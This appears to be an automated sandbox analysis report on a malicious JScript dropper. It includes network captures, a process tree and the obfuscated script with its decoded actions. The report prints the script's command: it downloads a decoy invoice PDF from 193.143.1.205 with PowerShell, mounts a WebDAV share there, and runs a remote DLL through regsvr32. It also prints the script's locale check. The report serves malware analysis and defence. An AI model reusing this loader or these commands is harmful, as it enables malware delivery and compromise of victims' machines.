Jan 11, 2025 00:11:25.352494001 CET	1.1.1.1	192.168.2.6	0xed7a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:11:25.352494001 CET	1.1.1.1	192.168.2.6	0xed7a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:11:37.830730915 CET	1.1.1.1	192.168.2.6	0xaff5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:11:37.830730915 CET	1.1.1.1	192.168.2.6	0xaff5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:12:01.924879074 CET	1.1.1.1	192.168.2.6	0x50ae	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:12:01.924879074 CET	1.1.1.1	192.168.2.6	0x50ae	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	1524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:10:09.769927979 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:10:10.612689018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:10:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 00:10:10.612731934 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:10:10.612745047 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 00:10:10.612765074 CET	672	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 00:10:10.612777948 CET	1236	IN	Data Raw: 94 ab 8f 0d 3d f5 c7 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 Data Ascii: =C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`
Jan 11, 2025 00:10:10.612791061 CET	1236	IN	Data Raw: 60 13 36 7a 73 c3 ce 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 Data Ascii: `6zs(?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y
Jan 11, 2025 00:10:10.612804890 CET	1236	IN	Data Raw: 32 c5 d0 bb 14 43 8f 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d Data Ascii: 2Cn1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 00:10:10.612826109 CET	1236	IN	Data Raw: 17 3d f3 74 e9 9c 57 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 Data Ascii: =tWS&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr
Jan 11, 2025 00:10:10.612838984 CET	1236	IN	Data Raw: 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f 2e Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#)
Jan 11, 2025 00:10:10.612853050 CET	883	IN	Data Raw: fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c a1 Data Ascii: /kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 00:10:10.658447981 CET	1236	IN	Data Raw: 8c a9 d9 7b 1c 5e 9e 61 5a ad e9 a1 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 Data Ascii: {^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	1616	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:10:12.694710970 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:10:13.462409019 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:10:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:10:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js"
Imagebase:	0x7ff6f2330000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:10:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll
Imagebase:	0x7ff6345f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:10:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:10:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:10:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:10:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6345f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:10:11
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d5ed0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:10:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:10:12
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:10:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,8814480044832123330,15353537380463715724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function durceqrot() {	durceqrot() ➔ undefined
1	fncux = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xifkk = this[kmrqqf + opouvr + bxsmfog + trnrncp + rzjaxfvj + azhzi + wayaaij + khrlfldmr] ( this[kpzudg + nvxaq + tfmppcnsf + bxsmfog + aicsdb + kmrqqf + khrlfldmr][aywoujqj + bxsmfog + rzjaxfvj + opouvr + khrlfldmr + rzjaxfvj + zvsmngnn + qpcgtgec + euultmou + rzjaxfvj + tfmppcnsf + khrlfldmr] ( kpzudg + nvxaq + tfmppcnsf + bxsmfog + aicsdb + kmrqqf + khrlfldmr + wutrq + nvxaq + cpngfkb + rzjaxfvj + kycacn + kycacn ) [plbnum + rzjaxfvj + xbhvl + plbnum + rzjaxfvj + opouvr + jqvnvmt] ( ypkkrht + xbpubmm + faeoaqos + iozsfjfam + wtlqiwssu + aywoujqj + yzwkqnbav + plbnum + plbnum + faeoaqos + soqiybguo + wfgggeo + wtlqiwssu + yzwkqnbav + nvxaq + faeoaqos + plbnum + fdpasywor + aywoujqj + jqdqcf + wayaaij + khrlfldmr + bxsmfog + jqdqcf + kycacn + xkuewwsu + gmkmkhfre + opouvr + wayaaij + rzjaxfvj + kycacn + fdpasywor + azhzi + wayaaij + khrlfldmr + rzjaxfvj + bxsmfog + wayaaij + opouvr + khrlfldmr + aicsdb + jqdqcf + wayaaij + opouvr + kycacn + fdpasywor + slpjfx + jqdqcf + tfmppcnsf + opouvr + kycacn + rzjaxfvj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tqpldiwan = 0 ; tqpldiwan < fncux[kycacn + rzjaxfvj + wayaaij + xbhvl + khrlfldmr + cpngfkb] ; ++ tqpldiwan )
4	{
5	if ( xifkk == fncux[tqpldiwan] )
6	{
7	xifkk = true;
8	break ;
9	}
10	}
11	if ( xifkk !== true )
12	this[kpzudg + nvxaq + tfmppcnsf + bxsmfog + aicsdb + kmrqqf + khrlfldmr][rfcdmcf + jvvkwie + aicsdb + khrlfldmr] ( );
13	this[kpzudg + nvxaq + tfmppcnsf + bxsmfog + aicsdb + kmrqqf + khrlfldmr][aywoujqj + bxsmfog + rzjaxfvj + opouvr + khrlfldmr + rzjaxfvj + zvsmngnn + qpcgtgec + euultmou + rzjaxfvj + tfmppcnsf + khrlfldmr] ( kpzudg + nvxaq + tfmppcnsf + bxsmfog + aicsdb + kmrqqf + khrlfldmr + wutrq + nvxaq + cpngfkb + rzjaxfvj + kycacn + kycacn ) [bxsmfog + jvvkwie + wayaaij] ( tfmppcnsf + syenbz + jqvnvmt + xkuewwsu + gqzbngdod + tfmppcnsf + xkuewwsu + kmrqqf + jqdqcf + tgnowmq + rzjaxfvj + bxsmfog + trnrncp + cpngfkb + rzjaxfvj + kycacn + kycacn + wutrq + rzjaxfvj + ripzlxl + rzjaxfvj + xkuewwsu + prdva + aywoujqj + jqdqcf + syenbz + syenbz + opouvr + wayaaij + jqvnvmt + xkuewwsu + guvyopcbu + azhzi + wayaaij + oouth + jqdqcf + qkyzzzsks + rzjaxfvj + prdva + kpzudg + rzjaxfvj + qpcgtgec + plbnum + rzjaxfvj + mpruta + jvvkwie + rzjaxfvj + trnrncp + khrlfldmr + xkuewwsu + prdva + zvsmngnn + jvvkwie + khrlfldmr + sfgaaa + aicsdb + kycacn + rzjaxfvj + xkuewwsu + wkkdmmzv + khrlfldmr + rzjaxfvj + syenbz + kmrqqf + wkkdmmzv + fdpasywor + aicsdb + wayaaij + oouth + jqdqcf + aicsdb + tfmppcnsf + rzjaxfvj + wutrq + kmrqqf + jqvnvmt + pjwvpe + xkuewwsu + cpngfkb + khrlfldmr + khrlfldmr + kmrqqf + iueaoq + gqzbngdod + gqzbngdod + fhvwarm + molnbne + wpvvmlv + wutrq + fhvwarm + neysdpb + wpvvmlv + wutrq + fhvwarm + wutrq + rrkwnq + jnqam + jjxtvxllu + gqzbngdod + aicsdb + wayaaij + oouth + jqdqcf + aicsdb + tfmppcnsf + rzjaxfvj + wutrq + kmrqqf + cpngfkb + kmrqqf + guvyopcbu + wvawcbgtg + wvawcbgtg + trnrncp + khrlfldmr + opouvr + bxsmfog + khrlfldmr + xkuewwsu + wkkdmmzv + khrlfldmr + rzjaxfvj + syenbz + kmrqqf + wkkdmmzv + fdpasywor + aicsdb + wayaaij + oouth + jqdqcf + aicsdb + tfmppcnsf + rzjaxfvj + wutrq + kmrqqf + jqvnvmt + pjwvpe + wvawcbgtg + wvawcbgtg + tfmppcnsf + syenbz + jqvnvmt + xkuewwsu + gqzbngdod + tfmppcnsf + xkuewwsu + wayaaij + rzjaxfvj + khrlfldmr + xkuewwsu + jvvkwie + trnrncp + rzjaxfvj + xkuewwsu + fdpasywor + fdpasywor + fhvwarm + molnbne + wpvvmlv + wutrq + fhvwarm + neysdpb + wpvvmlv + wutrq + fhvwarm + wutrq + rrkwnq + jnqam + jjxtvxllu + wtmfjvv + dmccctvqm + dmccctvqm + dmccctvqm + dmccctvqm + fdpasywor + jqvnvmt + opouvr + oouth + tgnowmq + tgnowmq + tgnowmq + bxsmfog + jqdqcf + jqdqcf + khrlfldmr + fdpasywor + wvawcbgtg + wvawcbgtg + tfmppcnsf + syenbz + jqvnvmt + xkuewwsu + gqzbngdod + tfmppcnsf + xkuewwsu + bxsmfog + rzjaxfvj + xbhvl + trnrncp + oouth + bxsmfog + wpvvmlv + rrkwnq + xkuewwsu + gqzbngdod + trnrncp + xkuewwsu + fdpasywor + fdpasywor + fhvwarm + molnbne + wpvvmlv + wutrq + fhvwarm + neysdpb + wpvvmlv + wutrq + fhvwarm + wutrq + rrkwnq + jnqam + jjxtvxllu + wtmfjvv + dmccctvqm + dmccctvqm + dmccctvqm + dmccctvqm + fdpasywor + jqvnvmt + opouvr + oouth + tgnowmq + tgnowmq + tgnowmq + bxsmfog + jqdqcf + jqdqcf + khrlfldmr + fdpasywor + fhvwarm + wpvvmlv + rrkwnq + bxjhx + dmccctvqm + fhvwarm + jjxtvxllu + jnqam + fhvwarm + xwnzkhmt + rrkwnq + molnbne + xwnzkhmt + dmccctvqm + bxjhx + wutrq + jqvnvmt + kycacn + kycacn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll",0,false) ➔ 0
14	}
15	jvvkwie = "n";
16	jvvkwie = "r";
17	jvvkwie = "Q";
18	jvvkwie = "c";
19	jvvkwie = "i";
20	jvvkwie = "F";
21	jvvkwie = "b";
22	jvvkwie = "h";
23	jvvkwie = "o";
24	jvvkwie = "F";
25	jvvkwie = "T";
26	jvvkwie = "M";
27	jvvkwie = "P";
28	jvvkwie = "G";
29	jvvkwie = "g";
30	jvvkwie = "J";
31	jvvkwie = "Q";
32	jvvkwie = "t";
33	jvvkwie = "s";
34	jvvkwie = "V";
35	jvvkwie = "s";
36	jvvkwie = "K";
37	jvvkwie = "E";
38	jvvkwie = "x";
39	jvvkwie = "n";
40	jvvkwie = "H";
41	jvvkwie = "X";
42	jvvkwie = "B";
43	jvvkwie = "r";
44	jvvkwie = "H";
45	jvvkwie = "u";
46	jvvkwie = "i";
47	jvvkwie = "v";
48	jvvkwie = "u";
49	jqdqcf = "U";
50	jqdqcf = "X";
51	jqdqcf = "X";
52	jqdqcf = "t";
53	jqdqcf = "D";
54	jqdqcf = "F";
55	jqdqcf = "i";
56	jqdqcf = "o";
57	prdva = "k";
58	prdva = "V";
59	prdva = "r";
60	prdva = "s";
61	prdva = "J";
62	prdva = "q";
63	prdva = "G";
64	prdva = "G";
65	prdva = "-";
66	wtlqiwssu = "i";
67	wtlqiwssu = "w";
68	wtlqiwssu = "e";
69	wtlqiwssu = "b";
70	wtlqiwssu = "W";
71	wtlqiwssu = "_";
72	jnqam = "U";
73	jnqam = "p";
74	jnqam = "e";
75	jnqam = "K";
76	jnqam = "a";
77	jnqam = "N";
78	jnqam = "c";
79	jnqam = "B";
80	jnqam = "t";
81	jnqam = "z";
82	jnqam = "X";
83	jnqam = "o";
84	jnqam = "O";
85	jnqam = "I";
86	jnqam = "f";
87	jnqam = "g";
88	jnqam = "h";
89	jnqam = "U";
90	jnqam = "M";
91	jnqam = "Q";
92	jnqam = "w";
93	jnqam = "m";
94	jnqam = "C";
95	jnqam = "D";
96	jnqam = "S";
97	jnqam = "y";
98	jnqam = "f";
99	jnqam = "O";
100	jnqam = "l";
101	jnqam = "o";
102	jnqam = "r";
103	jnqam = "U";
104	jnqam = "E";
105	jnqam = "T";
106	jnqam = "C";
107	jnqam = "c";
108	jnqam = "w";
109	jnqam = "0";
110	qkyzzzsks = "g";
111	qkyzzzsks = "m";
112	qkyzzzsks = "O";
113	qkyzzzsks = "M";
114	qkyzzzsks = "K";
115	qkyzzzsks = "Q";
116	qkyzzzsks = "b";
117	qkyzzzsks = "c";
118	qkyzzzsks = "E";
119	qkyzzzsks = "x";
120	qkyzzzsks = "C";
121	qkyzzzsks = "G";
122	qkyzzzsks = "Q";
123	qkyzzzsks = "D";
124	qkyzzzsks = "J";
125	qkyzzzsks = "b";
126	qkyzzzsks = "m";
127	qkyzzzsks = "I";
128	qkyzzzsks = "B";
129	qkyzzzsks = "m";
130	qkyzzzsks = "W";
131	qkyzzzsks = "J";
132	qkyzzzsks = "K";
133	qkyzzzsks = "p";
134	qkyzzzsks = "S";
135	qkyzzzsks = "C";
136	qkyzzzsks = "U";
137	qkyzzzsks = "t";
138	qkyzzzsks = "B";
139	qkyzzzsks = "v";
140	qkyzzzsks = "u";
141	qkyzzzsks = "a";
142	qkyzzzsks = "L";
143	qkyzzzsks = "L";
144	qkyzzzsks = "r";
145	qkyzzzsks = "x";
146	qkyzzzsks = "X";
147	qkyzzzsks = "k";
148	qkyzzzsks = "y";
149	qkyzzzsks = "Z";
150	qkyzzzsks = "w";
151	qkyzzzsks = "k";
152	rrkwnq = "D";
153	rrkwnq = "h";
154	rrkwnq = "i";
155	rrkwnq = "2";
156	gmkmkhfre = "l";
157	gmkmkhfre = "w";
158	gmkmkhfre = "B";
159	gmkmkhfre = "w";
160	gmkmkhfre = "z";
161	gmkmkhfre = "q";
162	gmkmkhfre = "V";
163	gmkmkhfre = "g";
164	gmkmkhfre = "l";
165	gmkmkhfre = "w";
166	gmkmkhfre = "i";
167	gmkmkhfre = "b";
168	gmkmkhfre = "A";
169	gmkmkhfre = "c";
170	gmkmkhfre = "P";
171	sfgaaa = "H";
172	sfgaaa = "I";
173	sfgaaa = "g";
174	sfgaaa = "g";
175	sfgaaa = "h";
176	sfgaaa = "n";
177	sfgaaa = "D";
178	sfgaaa = "w";
179	sfgaaa = "M";
180	sfgaaa = "l";
181	sfgaaa = "j";
182	sfgaaa = "h";
183	sfgaaa = "H";
184	sfgaaa = "m";
185	sfgaaa = "B";
186	sfgaaa = "a";
187	sfgaaa = "p";
188	sfgaaa = "i";
189	sfgaaa = "G";
190	sfgaaa = "y";
191	sfgaaa = "O";
192	sfgaaa = "a";
193	sfgaaa = "d";
194	sfgaaa = "i";
195	sfgaaa = "l";
196	sfgaaa = "d";
197	sfgaaa = "C";
198	sfgaaa = "F";
199	qpcgtgec = "J";
200	qpcgtgec = "k";
201	qpcgtgec = "e";
202	qpcgtgec = "G";
203	qpcgtgec = "s";
204	qpcgtgec = "g";
205	qpcgtgec = "U";
206	qpcgtgec = "t";
207	qpcgtgec = "b";
208	qpcgtgec = "f";
209	qpcgtgec = "A";
210	qpcgtgec = "l";
211	qpcgtgec = "b";
212	tfmppcnsf = "e";
213	tfmppcnsf = "A";
214	tfmppcnsf = "N";
215	tfmppcnsf = "m";
